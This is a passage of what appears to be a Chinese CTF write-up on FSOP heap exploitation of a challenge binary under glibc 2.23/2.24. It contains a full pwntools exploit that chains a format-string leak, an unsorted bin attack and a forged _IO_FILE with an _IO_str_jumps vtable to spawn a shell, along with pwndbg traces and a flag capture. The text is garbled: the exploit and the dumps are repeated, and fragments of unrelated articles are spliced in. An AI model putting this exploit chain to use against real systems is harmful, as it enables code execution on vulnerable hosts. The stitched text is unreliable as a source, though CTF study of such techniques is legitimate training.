关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk
k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针)
<main_arena+88>+0x68
0x00005555557560d0
参照下图整理思路:
将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk
_IO_FILE_plus
_chain
pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式
再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式
pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, 